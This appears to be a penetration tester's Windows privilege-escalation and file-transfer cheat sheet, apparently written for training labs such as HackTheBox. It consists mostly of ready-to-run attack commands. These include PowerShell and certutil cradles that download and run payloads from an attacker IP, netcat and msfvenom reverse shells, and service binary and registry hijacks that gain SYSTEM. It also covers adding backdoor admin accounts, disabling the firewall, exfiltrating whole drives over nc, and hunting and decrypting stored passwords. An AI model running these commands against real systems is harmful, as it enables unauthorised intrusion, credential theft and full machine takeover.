curl --user david:Nowonly4me http://10.x.x.x/~david/
curl --user david:Nowonly4me --negotiate http://10.x.x.x/~david/
```

## smbserver

* Share from Linux SMB to Windows

```
locate smbserver.py                             ..find
cd /usr/share/doc/python3-impacket/examples     ..prep
sudo python3 ./smbserver.py share /tmp          ..share
impacket-smbserver share `pwd`                  ..another method
smbclient -L 10.x.x.x --no-pass                 ..test

net view \\10.x.x.x                             ..windows command
net use z: \\10.x.x.x\pub                       ..map a drive
copy "Oracle Issue.txt" z:                      ..copy file
dir \\10.x.x.x\share                            ..windows list directory
copy \\10.x.x.x\share\app C:\Windows\Temp\      ..windows copy
\\10.x.x.x\share\reverse.exe                    ..run
```

## Windows Share

* Linux: Copy to Windows Share

```
smbclient //10.x.x.x/sharename -U domain/username
```

* Linux: Mount Windows Share

```
mkdir /mnt/smbshare
sudo mount -t cifs //serverfs/c$ -o username=bob,password=xyz /mnt/smbshare
cd /mnt/smbshare
```

* Windows: Copy to Windows Share

```
copy exploit.exe \\10.x.x.x\users\bob
```

## HTTP Server One Liners

```
> python2 -m SimpleHTTPServer 80
> python3 -m http.server 80

> php -S localhost:80 -t evil/

> while true; do nc -l 80 < test.html; done

> ncat -k -l -p 80 -c "printf 'HTTP/1.1 200 OK\r\n\r\n'; cat ~/evil.html"

> perl -MIO::All -e 'io(":80")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

> ruby -run -e httpd . -p 80

From inetd.conf:
> 80 stream tcp nowait nobody cat cat /somefile
... where /somefile has the HTTP response line, headers and body
```

## Powershell

* [PowershellCheatsheet](/07-win-privesc/powershell)
* Share with Linux: python3 - m http.server
* Download with Window Powershell

```
----------------------
powershell.exe "(New-Object System.Net.WebClient).Downloadfile('http://$MyIP:8000/myfile','myfile')"

----------------------
echo IEX(New-Object Net.WebClient).DownloadString('http://<ip>:<port>/Sherlock.ps1') | powershell -noprofile

----------------------
echo $WebClient = New-Object System.Net.WebClient > wget.ps1
echo $WebClient.DownloadFile($Args[0],$Args[1]) >>  wget.ps1
powershell -ExecutionPolicy Bypass -File wget.ps1 http://$MyIP:8000/file.exe file.exe

----------------------
http://10.x.x.x/ippsec.php?fexec=systeminfo
http://10.x.x.x/ippsec.php?fexec=echo IES(New-Object Net.WebClient).DownloadString('http://10.x.x.x:8000/PowerUp.ps1')|powershell -noprofile
```

## Powershell Advanced

* Can't execute the payload?
* Powershell ByPass Execution Policy
* Example: [ChimichurriWindowsPrivEsc](/07-win-privesc/win-privesc#chimichurri)

```
cd C:\ColdFusion8\  or:
cd C:\Windows\Temp

echo $webclient = New-Object System.Net.WebClient >wget.ps1
echo $url = "http://$MyIP:4444/Chimichurri.exe" >>wget.ps1
echo $file = "Chimichurri.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInterative -NoProfile -File wget.ps1

Chimichurri.exe 10.10.14.x 5555
nc -nvlp 5555
connected ..system!!
```

## smb setup issues

* Run smbserver.py from Linux
* Now Windows can share back to Linux
* [https://blog.ropnop.com/transferring-files-from-kali-to-windows/](https://blog.ropnop.com/transferring-files-from-kali-to-windows/#setting-up-the-server)
* <https://github.com/SecureAuthCorp/impacket>
* REF: [ChurrascoWindowsPrivEsc](/07-win-privesc/win-privesc#token-kidnapping-churrasco)

```
------------------------
Install Attempts:

python --version
python3 --version
apt-get install python3.6-dev libmysqlclient-dev
pip install --upgrade setuptools --user python
sudo apt-get install libpcap-dev libpq-dev
pip3 install --upgrade setuptools --user python
cd /opt/impacket
sudo -i
git clone https://github.com/SecureAuthCorp/impacket.git
pip install .
pip3 install .
python3 -m pip install -U pip
python3 -m pip install -U setuptools
pip install impacket
pip3 install impacket
```

## smb setup impacket python2

```
Install the old pip (unofficial way)
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
python get-pip.py

PATH=/home/kali/.local/bin:$PATH     ..update PATH manually

pip --version                        ..confirm v2 not v3
pip 20.3.4 from /home/kali/.local/lib/python2.7/site-packages/pip (python 2.7)

pip install --upgrade setuptools
pip install impacket
```

## smb optional

* Example: [DrupalPhpVuln](/04-webapps/drupal#serialization-vulnerability-41564-php)

```
> impacket-smbserver share `myfolder`
http://10.x.x.x/ippsec.php?fexe=\\10.x.x.x\share\privesc.exe whoami
```

## nc

```
Easy:

nc -lp 4444 > out.file
nc -w 3 DestIP 4444 < out.file


Faster:

nc -lp 4444 | uncompress -c | tar xvfp -
tar cfp - /some/dir | compress -c | nc -w 3 DestIP 4444


Whole Hard Drive:

dd if=/dev/hda3 | gzip -9 | nc -l 3333
nc DestIP 3333 | pv -b > hdImage.img.gz
```

## updog

* Looks like an interesting option if you need SSL
* <https://github.com/sc0tfree/updog>
* Default port 9090

```
updog
updog -p 4444 --ssl
updog -d /tmp --password mypax

```

## ftp

* anonymous, writable, port 2121
* <https://pythonhosted.org/pyftpdlib/faqs.html>

```
linux:
pip install pyftpdlib
python -m pyftpdlib -w
python3 -m pyftpdlib -p 21 -u mike -P paxx
 
windows:
ftp
open $MyIP
user mike passwurd
passive
put localfilename remotefilename
bye

ftp -n < ftpcommands.txt   ..optional
```

## Permission Trouble

* You may have a permissions problem
* Save and execute from the Temp folder!

```
cd C:\Windows\Temp\
copy \\10.x.x.x\share\myapp.exe .
myapp.exe
```

## certutil

* You can download files on Windows with this tool
* REF: bountyHTB

```
rs.Exec("certutil -urlcache -split -f http://10.x.x.x/agent.exe C:\\users\\public\\agent.exe")
rs.Exec("cmd /c C:\users\public\agent.exe")   ..execute
http://10.x.x.x/UploadedFiles/web.config      ..execute
```


# vnc

## Find vnc running as root

```
LinEnum.sh

wget $MyIP:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh              ..script didnt work for bsd

ps -auxw                  ..look at processes
vnc ..tightvnc            ..found running as root!!

netstat -an | grep LIST   ..vnc listening on 5801,5901
```

## Password file

* Strange looking file.
* Copy locally to analyze.

```
secret.zip            ..found

scp chariz@$IP:secret.zip .
unzip secret.zip

file secret           ..non-iso ascii, unknown
cat secret            ..jibberish
xxd secret            ..nada
```

## Connect with password file

```
vncviewer -passwd secretfile 10.x.x.x::6901
```

## Password decrypt (bonus)

```
----------------
git clone https://github.com/jeroennijhof/vncpwd
cd vncpwd
make
./vncpwd
./vncpwd ../secret    ..password found!

----------------
github > trinitronx/vncpasswd.py
python vncpasswd.py -d -f ./htb/poison/secret
```


# 07 Windows PrivEsc


# 1 Windows cmd kungfu

## Search

```
type myfile   ..display
type *.txt    ..multiple
type my1 my2  ..multiple
type my1 | find /i "pass"  ..search-in-file
type my1 | findstr [regex]
more my1      ..onepage-at-a-time
set          ..view env vars
set path     ..view path
set username ..view usern

dir /b /s mydir\file
dir /b /s c:\pass.txt
dir /b /s %systemroot%\hosts
b - bare 
s - subdir/recurse

search all of c: for 'pass.txt' even subfolders
wildcards are supported too

--------------------
--------------------
Software Inventory Search:
dir /s "c:\Program Files"
dir /s "c:\Program Files (x86)"
```

## Read Files

```
type myfile                  ..display
type *.txt                   ..multiple
type my1 my2                 ..multiple
type my1 | find /i "pass"    ..search-in-file
type my1 | findstr [regex]   ..regex
more my1                     ..onepage-at-a-time
```

## Environment

```
set           ..view env vars
set path      ..view path
set username  ..view usern
```

## Search:

* b - bare
* s - subdir/recurse

```
dir /b /s mydir\file
dir /b /s c:\pass.txt          ..search all of c: for 'pass.txt'
dir /b /s %systemroot%\hosts   ..find the hosts file
```

## Software Inventory Search:

```
dir /s "c:\Program Files"
dir /s "c:\Program Files (x86)"
```

## Windows Users

```
net user 
net user mike p$$wrd /add 
net user mike /del

net localgroup 
net localgroup administrators 
net localgroup administrators mike /add 
net localgroup administrators mike /del
```

## AD Lockout Settings

```
net accounts /domain
```

## RDP Trick

* REF: [PrivEscWin-Churrasco](/07-win-privesc/win-privesc#churrasco)

```
> net user
> net user mikes hacks /add
> net localgroup administrators mikes /add

Allow Remote Access:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Kali:
> sudo apt-get update
> sudo apt-get install rdesktop
> rdesktop -u mike -p hacks legacy    ..CONNECT WITH RDP !!!
```

## Windows Password policy

```
net accounts
net accounts /domain
wmic useraccount list brief
```

## Windows registry

```
reg query key1
reg \\mypc query key1
reg add key1 /v value /t type /d data
reg export key1 key.reg
reg import key.reg
```

## Windows smb

* REF: [MoveFilesSMB](/06-linux-privesc/04-transfer-files#smb)

```
session:
net use \\IP pw /u:bob

mount:
net use * \\IP\share pw /u:bob
net use \\IP /del
net use * /del /y

may need:
/u:machinename\bob
```

## Windows services

```
sc query sc query state= all 
sc qc svcname sc \10.0.0.5 qc mysvc 
sc start mysvc 
sc config mysvc start= demand 
sc stop mysvc services.msc ..gui 

wmic: 
where (displayname like "%hello%") get name
```

## Windows psexec

```
net use \\$IP /u:bob            ..get smb session
psexec \\$IP -d -u -p command   ..leaves svc @finish
psexec \\$IP ipconfig
psexec \\$IP cmd.exe
psexec \\$IP cmd.exe -s -d      ..system, detached/background
```

## Windows schedule tasks

```
schtasks /query /s $IP
schtasks /create /tn taskname /s $IP /u bob /p pass
/sc freq /st stime /sd sdate /tr command

schtasks /create /tn taskname /s $IP /ru   ..system
/sc HOURLY/ONCE/DAILY /st HH:MM:SS 
/sd sdate /tr command
```

## Windows Services & Processes

```
net use \\$IP /u:bob  ..get smb session first!!
sc \\$IP query schedule
sc \\$IP create svcnm binpath= mycmd               ..30 sec
sc \\$IP create svcnm binpath= "cmd.exe /k mycmd"  ..will die
sc \\$IP create ncsvc binpath= "cmd.exe /k c:\Tools\nc.exe -lp 4444 -e cmd.exe"

sc \\$IP start svcnm
net time \\$IP

or 'ServifyThis'

wmic /node:/10.x.x.x /user:bobadmin /password:p@ss process call create [command]

Multiples sessions!
wmic /node:@C:\tmp\iplist /user:bob /password:paxx
process call create [command]

Look at processes:
wmic /node:/$IP /user:bob /password:paxx
process list brief
process where processid="PID" delete
process where name="[name]" delete
```

## Windows Firewall

```
netsh /?   ..view network settings
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh advfirewall firewall add rule name "Comment" dir=in action=allow remoteid=$IP protocol=TCP localport=23
netsh advfirewall firewall del rule name "Comment"

Port-forward:
netsh interface portproxy add v4tov4 listenport=8000 connectport=80 connectaddress=$IP
```

## runas

* Creates a reverse shell from a windows server to Kali
* Using netcat for Windows and Runas.exe:

```
C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc $IP 4444 -e cmd.exe"

Enter the password for Test:
Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
```


# 2 Enums

## Enumeration:

1. Check your username and groups:
   1. whoami
   2. whoami /priv
   3. netuser me
2. winPEAS fast, searchfast, cmd
   1. [TransferFiles](/06-linux-privesc/04-transfer-files)
3. Seatbelt and other scripts
4. If scripts fail, run manually
5. Other Win PrivEsc Cheatsheets:
   1. <http://www.fuzzysecurity.com/tutorials/16.html> --Windows Enums

```
systeminfo                ..OS build, Proc:x64, OS:x86 - Suggester
hostname
whoami /priv              ..for Token Impersonation (Potato Exploits)
net users
net user Administrator
cmdkey /list              ..look for saved passwords
```

## systeminfo

* Find Kernel Exploits with systeminfo and WES
* They can cause system-crash
* Find matching exploits: google, exploitdb, github
* <https://github.com/SecWiki/windows-kernel-exploits>

```
cd C:/Windows/Temp
> systeminfo > sys.txt
> copy sys.txt \\10.x.x.x\share\ .

N/A hotfixes?
Confirm here:
dir C:\Windows\SoftwareDistribution\Download    ..prep from wsus
type C:\Windows\WindowsUpdate.log               ..actual update logs
```

## google

```
whoami
hostname
systeminfo   .. OS, Version, Hotfixes

google: "windows server 2008 6.1.7600 N/A Build 7600 privilege Escalation"
google: "windows 7 enterprise 6.1.7600 priv esc vulnerabilities"

found: 
github/abatchy17/WindowsExploits > 
MS11-046.exe, MS10-059.exe     ..failed
Github/Re4son/chimichurri.exe  ..worked (arctic-htb)
and
MS11-046 (AFD PrivEsc)         ..develHTB
```

## Tasklist

```
tasklist /V
```

## Windows Exploit Suggester

* Lots of findings.. just have to look through them!
* MS10-059 = [chimichurri](/07-win-privesc/win-kernelexp#chimichurri)

```
windows-exploit-suggester.py --database 2019-08-27-mssb.xls --systeminfo sys.txt
```

## WES

```
curl -k "https://raw.githubusercontent.com/bitsadmin/wesng/master/wes.py" > ./wes.py
python3 wes.py --update 
python wes.py /share/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more
python wes.py ./sys.txt -s critical -i "Remote Code Execution"
```

## WESng

* Based on win-ver and patch level
* <https://github.com/bitsadmin/wesng>

```
> curl -k "https://raw.githubusercontent.com/bitsadmin/wesng/master/wes.py" > ./wes.py
> python3 wes.py --update 
> python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
> python ./wes.py ~/htb/arctic/systeminfo.txt -i 'Elevation of Privilege' --exploits-only  
```

## Kernel Exploits

* Compare to 'systeminfo' report
* <https://github.com/SecWiki/windows-kernel-exploits>
* <https://github.com/rasta-mouse/Watson> ..for recent windows
* USE: [WinKernelExploits](/07-win-privesc/win-kernelexp)

## Check Perms

```
accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" 
accesschk.exe /accepteula -quv user CleanUp.ps1
```

## User whoami privs

Privs give yours special rights

```
whoami /priv
```

Note: if listed you have it!\
even if it says 'disabled' you still have it!

* SeImpersonatePrivilege\
  Allows impersonate Ex: [Juicy Potato](/07-win-privesc/win-privesc#juicy-potato)\\
* SeAssignPrimaryPrivilege\
  Similar. Enables user to assign access token to new proc.\
  Ex: [Juicy Potato](/07-win-privesc/win-privesc#juicy-potato)
* SeBackupPrivilege\
  Grants read access to ALL objects\
  Could find sensitive files/hashes/registry\\
* SeRestorePrivilege\
  Grants write to all objects overwrite binaries/dlls/registry\\
* SeTakeOwnerPrivilege\
  Can take ownership and write overwrite binaries/dlls/registry\\
* Advanced:\
  SeTcbPrivilege\
  SeCreateTokenPrivilege\
  SeLoadDriverPrivilege\
  SeDebugPrivilege (used in getsystem)

## Windows Service Configuration Viewer

* Check for misconfigs in services that can lead to privilege escalation.
* You can replace the executable with your own
* and have windows execute whatever code you want as the privileged user.

```
icacls scsiaccess.exe

scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
```

## Watson

* Dot Net tool that Finds Missing Patches
* <https://github.com/rasta-mouse/Watson>
* Check targets .NET version and Build that Version in VisualStudio

```
> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
.NET v3.5
Build > Your version: OSx86

\\10.10.14.34\share\Watson.exe
Watson Found 5 Vulns
Including: MS11-046
```

## Sherlock

* Example from [DrupalPhpVuln](/04-webapps/drupal#serialization-vulnerability-41564-php)

```
locate Sherlock.ps1
cp Sherlock.ps1 .
dos2unix Sherlock.ps1  ..fixed some bad unicode (at beginning)
vim Sherlock.ps1
Find-AllVulns          ..add as last line

http://10.x.x.x/ippsec.php?fexec=
=echo IES(New-Object Net.WebClient).DownloadString('http://$MyIP:8000/Sherlock.ps1')|powershell -noprofile -

Found: 
MS15-051 ClientCopyImage not-vulnerable (but ippsec disagrees, try this)
MS16-016 WebDAV ..requires 2 processors and race-condition ..lets ignore
```

## UACME

* Tries 30+ ways to PrivEsc
* "You AC Me Bro"
* <https://github.com/hfiref0x/UACME>

## UAC Bypass

* User Account Control
* Metasploit has 'bypassuac' for Windows7
* PowerShell Empire that prompts in a nice way

## BeRoot

* Check for misconfigs in Win or Linux
* C:\Tools\beRoot.exe
* Found lots of vulns for PrivEsc

## PowerUp Scan

* Powershell script to find PrivEsc Vulns and Exploit
* PowerShell > PowerShellEmpire > PowerUp.ps1
* <https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1>

```
locate PowerUp.ps1  (empire)
cp PowerUp.ps1 . 
vim 'Invoke-AllChecks'  ..Add as last line
python -m SimpleHTTPServer

Send to Victim (ex: Drupal)
http://10.x.x.x/ippsec.php?fexec=systeminfo
=echo IES(New-Object Net.WebClient).DownloadString('http://$MyIP:8000/PowerUp.ps1')|powershell -noprofile -

Found a few 'writable directories' for oracle, but nothing great
ex: c:\oracle\ora90\bin
netstat -an     ..3306 mysql, but not oracle (1521)
```

## PowerUp Abuse

* Abuse functions ..
  * Write-UserAddMSI
  * Write-ServiceBinary .. Will create user 'john' with password123 as admin!

```
locate PowerUp.ps1
cp PowerUp.ps1 .
python -m SimpleHTTPServer        ..Share

Send the file to victim           ..example from Drupal
http://10.x.x.x/ippsec.php?fexec=systeminfo
=echo IES(New-Object Net.WebClient).DownloadString('http://$MyIP:8000/PowerUp.ps1')|powershell -noprofile -

PS> Import-Module .\PowerUp.ps1   ..run as Admin if you can
PS> Invoke-AllChecks              ..Scan

----------------------------------
Found: Unquoted Path:
C:\Program Files\VideoStream\1337 Log\Checklog.exe

Exploit:
Will create a new user 'john' with Password 123! and Local Admin!
(after a reboot/service restart)
PS> Write-ServiceBinary -ServiceName 'Video Stream' -ServicePath ""C:\Program Files\VideoStream\1337.exe""
```

## SharpUp

SharpUp - Good if you dont have PowerShell\
C# Compiled version: <https://github.com/GhostPack/SharpUp> <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries>

```
win ps or cmd: 
> SharpUp.exe
```

## Seatbelt

Enumeration but doesnt hunt for privesc

GhostPack/Seatbelt\
<https://github.com/GhostPack/Seatbelt> [https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/...Seatbelt.exe)\
... Seatbelt.exe

```
Seatbelt.exe ...help 
Seatbelt.exe all 
Seatbelt.exe NonstandardServices
```

## winPEAS

Hunts for privesc, highlights\
Most powerful tool in this course!\
Most maintained tool

carlospolop winPEAS\
<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS>

Enable cmd Colors:\
reg add HKCU\Console /v VirtualTerminalLevel /t REG\_DWORD /d 1

If you cant get colors\
try running it from kali on reverse-shell

```
cd:\PrivEsc 
winPEASany.exe -h 
winPEASany.exe                   .. default: all 
winPEASany.exe userinfo
winPEASany.exe quiet procesinfo  .. (yes, misspelled)
```

## accesschk

Older but trustworthy tool to check ACL\
check access for user/group to file/dir/srv/reg\
downside: sometimes GUI popup agreement (older vers doesnt)

## Quick-Paste-Report

* Copy/Paste into your remote Windows shell to generate a quick report:

```
@echo --------- BASIC WINDOWS RECON --------- > report.txt
timeout 1
net config Workstation >> report.txt
timeout 1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
timeout 1
hostname >> report.txt
timeout 1
net users >> report.txt
timeout 1
ipconfig /all >> report.txt
timeout 1
route print >> report.txt
timeout 1
arp -A >> report.txt
timeout 1
netstat -ano >> report.txt
timeout 1
netsh firewall show state >> report.txt
timeout 1
netsh firewall show config >> report.txt
timeout 1
schtasks /query /fo LIST /v >> report.txt
timeout 1
tasklist /SVC >> report.txt
timeout 1
net start >> report.txt
timeout 1
DRIVERQUERY >> report.txt
timeout 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
timeout 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
timeout 1
dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
timeout 1
findstr /si password *.xml *.ini *.txt >> report.txt
timeout 1
reg query HKLM /f password /t REG_SZ /s >> report.txt
timeout 1
reg query HKCU /f password /t REG_SZ /s >> report.txt
timeout 1
dir "C:\"
timeout 1
dir "C:\Program Files\" >> report.txt
timeout 1
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo REPORT COMPLETE!
```

## Problems

```
Enums failing?
couldnt get watson or winPEAS.exe to work

.NET might be OLD

Example: 'Granny' had v1.0 .NET


> dir C:\Windows\Microsoft.NET\Framework
> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP"


Consider trying:
Older version of Watson
https://github.com/rasta-mouse/Watson/tree/486ff207270e4f4cadc94ddebfce1121ae7b5437

---------------------------------
---------------------------------
Use the .bat instead!

C:\Temp>winPEAS.bat
winPEAS.bat

Nothing happened?
Prefixing it with cmd /k worked. 
If you check cmd /?, the /k switch Carries out the command specified by string but remains. 
I suspect cmd /c would work as well but never tried that. 


C:\WINDOWS\Temp\Temp>cmd /k winPEAS.bat > output.txt
cmd /k winPEAS.bat > output.txt

Parsing Mof File: C:\WINDOWS\system32\wbem\Cli.mof(Phase Error - 3)
Compiler returned error 0x80041001
etc...
Ok results, but not great...
```

## More...


# 3 PrivEsc

## Priority

* [Enumerate](/07-win-privesc/win-enum)
* [MoveFiles](/06-linux-privesc/04-transfer-files)

## Kernel and privesc links

* <https://github.com/SecWiki/windows-kernel-exploits> ...BEST!
* <https://0x1.gitlab.io/exploit/Windows-Privilege-Escalation/>
* <https://kbase.ayoma.me/windows/windows-issues/>

## LOLBas

* Living off the Lands binary (Windows) - Like GTFOBins
* <https://lolbas-project.github.io/>
* <https://github.com/SecWiki/windows-kernel-exploits/>

## General:

* Goals: Get shell as 'Administrator' or 'System'
* All PrivEsc are actually access-control-violations
* AC and User Perms are intrinsically linked
* Think of how Windows handles perms
* [PayloadAllTheThings-Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
* [nickvourd-Oscp-Methods-WindowsPrivEsc](https://github.com/nickvourd/oscp_methodology#privilege-escalation)

## Strategy:

* Dont chase your first finding
* Look over the enumeration
* Make notes from winPEAS
* Avoid Rabbit holes
* Exploitable service that can be edited ..but cant be stop/started.. isnt very good for us
* Take a look around for interesting files
  * C:\\
  * C:\Program Files
* Look for easy-steps first:
  * Registry Exploits
  * Services
  * Admin Processes
  * Get versions and search exploit
* No admin?
  * Dont panic. Keep practicing.
  * Go back through yours [enum ](/07-win-privesc/win-enum)results

## PrivEsc Class

* [Windows PrivEsc Udemy](https://bah.udemy.com/course/windows-privilege-escalation/)
* [PrivEsc workshop VM](https://github.com/sagishahar/lpeworkshop) ...Plus: [MisConfigs](https://github.com/Tib3rius/Windows-PrivEsc-Setup)
* Login: IEUser:Passw0rd!
* password123 (admin)

## Perms

* User Accounts
  * Logon rights
  * files/folders/desktop/etc
* Service Accounts
  * SYSTEM is highest priv of any local acct
  * Cant login with these
  * Also: network service, local service
* Perms are controlled by ACL
  * Access Control List
  * user/group/svc/registry/etc

## Misconfigs

1. Insecure Service Properties
2. Unquoted Service Path
3. Weak Registry Permissions
4. Insecure Service Executables
5. DLL Hijacking

## Best Practices:

* Use 'allowed commands' (ie: whitelist) instead of 'disallowed'
* Use a pager like 'most' instead of less/more
* Avoid allowing programming languages
* or harden, pty(), system(), exec()

## smbserver.py

* Send files between Linux and Windows
* REF: [MovingFiles](/06-linux-privesc/04-transfer-files)

```
locate smbserver.py
cd /usr/share/doc/python3-impacket/examples/
sudo python3 ./smbserver.py share /tmp
```

## Unquoted Paths

```
C:\Program Files\OpenVPN\openvpn.exe    ..bad
"C:\Program Files\VMWare\vmtoolsd.exe"  ..good
C:\Program.exe  ..Could run with elevated!!
```

## Passwords: Unattended Install Files

```
Unattend.xml

C:\Windows\System32\
C:\Windows\System32\sysprep\
C:\Windows\Panther\
C:\Windows\Panther\Unattend\

Found:
<LocalAccount>
<Value> U0VDNTk5IFJPQKET== <Value>  ..base64 !!!

echo U0VDNTk5IFJPQKET== | base64 -d
Flag!!
```

## Passwords: Group Policy Prefs (GPP)

* We used to set the 'default' admin password
* Old and patched but still has traces

```
> findstr /S cpassword %LOGONSERVER%\sysvol\*.xml
```

#### Metasploit:

```
MSF > GPP module to pull/extract/decrypt
```

#### Domain:

```
Map the Domain controller SYSVOL share
> net use z: \\dc01\SYSVOL

Find the GPP file: Groups.xml
> cd z:
> dir /s Groups.xml

Review the contents for passwords
> type Groups.xml
```

#### gpp-decrypt

```
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
```

## Enable SMB v1

* Just to prep your Lab:
* v1 is a really bad idea.. EternalBlue exploitable!

```
Powershell as Admin:

PS> Enable-WindowsOptionalFeature -Online -featureName "SMB1Protocol-Client" -All
or
PS> Get-WindowsOptionalFeature -Online -featureName "SMB1Protocol"
PS> Enable-WindowsOptionalFeature -Online -featureName "SMB1Protocol-Client" -All

Yes, reboot or
PS> optionalfeatures.exe
.. SMB 1.0
.. SMB Direct
Ok
```

## Basic Venom Reverse Shell:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=53 -f exe -o reverse.exe
nc -nvlp 53

c:\PrivEsc> copy \192.x.kali\tools\reverse.exe . 
c:\PrivEsc> .\reverse.exe

```

## RDP Trick

```
> net user
> net user mikes hacks /add
> net localgroup administrators mikes /add

Allow Remote Access:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Kali:
> sudo apt-get update
> sudo apt-get install rdesktop
> rdesktop -u mike -p hacks legacy  
```

## psexec

Escalate from admin to SYSTEM\
<https://docs.microsoft.com/en-us/sysinternals/downloads/psexec>

From Kali:\
Make Windows connect-back

```
> PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe
> PSExec64.exe -accepteula -i -u "nt authority\local service" reverse.exe
> psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 10.x.x.x 4444 -e cmd.exe"
```

## Kernel Exploits from Sysinfo

* Method: systeminfo > wes > cve > shell

```
cd C:\Temp
systeminfo > sys.txt
C:> systeminfo > \\192.x.x.x\share\sys.txt
curl -k "https://raw.githubusercontent.com/bitsadmin/wesng/master/wes.py" > ./wes.py
python wes.py /share/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more
python wes.py ./sys.txt -s critical -i "Remote Code Execution"
```

* Look up results:
  * <https://github.com/SecWiki/windows-kernel-exploits>
  * CVE or MS found: CVE-2018-8120
  * Including compiled binary: x64.exe x86.exe
* PrivEsc:
  * Kali: listener: nc -nvlp 53
  * Windows: Run the exploit, and the program to execute (ie: rev shell)
  * c:\PrivEsc\cve-2018-8120-x64.exe C:\PrivEsc\reverse.exe
  * Kali - Connected!!

## Services

* We can exploit.. If they are running with SYSTEM privs and are misconfigured

```
sc.exe qc myserv                  ..query config
sc.exe query myserv               ..query status
sc.exe config myserv option=xyz   ..modify
net start/stop myserv             ..start/stop
```

## Service: Modify

You could repoint the executable to our Reverse-Shell\
Must be able to stop/start the service to apply\
Maybe force a reboot, if you have to

```
---------------------------
Service Issues:
./winPEASany.exe quiet servicesinfo 
cat winpeas-services.txt

Found: 
daclsvc - "you can modify this service"

Verify: 
accesschk.exe /accepteula -uwcqv user daclsvc 
Found: SERVICE_CHANGE_CONFIG, SERVICE_START, SERVICE_STOP

sc qc daclsvc      ..svc path & detail 
sc query daclsvc   ..currently stopped

---------------------------
Exploit:
Change binpath to our reverse-shell 
sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""

kali: nc -nvlp 53
net start daclsvc
whoami system!!
```

## Service: Unquoted Path

* Unquoted paths can give ambiguity
* whoami.exe ..same as: whoami
* Example:
  * C:\Program Files\Some Dir\SomeProgram.exe
* Could be:
  * "C:\Program" with "Files\Some" as argument
* Windows will do a check to test options when run.

```
---------------------------
winPEAS 
Found: Unquotedsvc 
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Verify we can edit: 
accesschk.exe /accepteula -uwcqv user unquotedsvc 
Found: SERVICE_START, SERVICE_STOP

Can we edit the Binary?
accesschk.exe /accepteula -uwcqv C: 
accesschk.exe /accepteula -uwcqv "C:\Program Files\" 
accesschk.exe /accepteula -uwcqv "C:\Program Files\Unquoted Path Service\"

Found! 
BUILTIN\Users  ..allowed RW 
C:\Program Files\Unquoted Path Service\

---------------------------
Exploit: 
C:\Program Files\Unquoted Path Service\Common.exe 
copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

kali listener: nc -nvlp 53
net start unquotedsvc
whoami system!!
```

## Service: Exec Swap

* If "myservice.exe" is modifiable, we can just replace it!
* Be sure to make a backup, in prod

```
---------------------------
winPEAS 
filepermsvc .."File Permissions: Everyone [AllAccess]"

Verify:
.\accesschk.exe /accepteula -uvwqk "C:\Program Files\File Permissions Service\filepermservice.exe"
.\accesschk.exe /accepteula -uvqc filepermsvc

Found:
Can read/write
Can start/stop

Backup 
copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp

---------------------------
Exploit:
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"

kali listener: nc -nvlp 53
net start filepermsvc
whoami system!!
```

## Registry: Weak Perms

* Registry keeps detail for each service.
* ACL is bad = we can edit the registry.
* Even if the service cant be modified.
* We can update the registry of a service that has 'system' and point to our reverse

```
---------------------------
winPEAS
Found 'regsvc' can be modified in registry

Verify:
powershell -exec bypass
ps> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
ps> .\accesschk.exe /accepteula -uvwqk HKLM:\System\CurrentControlSet\Services\regsvc

Confirmed:
RW - NT Authority\INTERACTIVE ..meaning us!

Can we start the service? 
ps> .\accesschk.exe /accepteula -ucqv user regsvc 
